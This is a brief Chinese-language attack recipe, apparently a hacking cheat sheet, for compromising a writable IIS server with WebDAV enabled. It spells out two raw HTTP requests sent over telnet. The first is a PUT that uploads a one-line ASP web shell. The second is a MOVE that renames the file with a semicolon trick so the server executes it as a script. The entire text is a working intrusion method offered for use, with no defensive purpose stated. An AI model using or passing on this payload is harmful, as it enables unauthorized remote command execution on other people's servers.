前提:1.目标可写,开启了脚本资源访问,服务器扩展,允许webdav
1.telnet IP port,然后复制下面输入到控制台,回车:
- PUT /test.txt HTTP/1.1
- HOST: 127.0.0.1
- Content-Length: 27
- <% execute request("c")%>
2.telnet IP port,然后复制下面输入到控制台,回车:
- MOVE /test.txt HTTP/1.1
- Host: 127.0.0.1
- Destination: http://127.0.0.1/test.asp;1.txt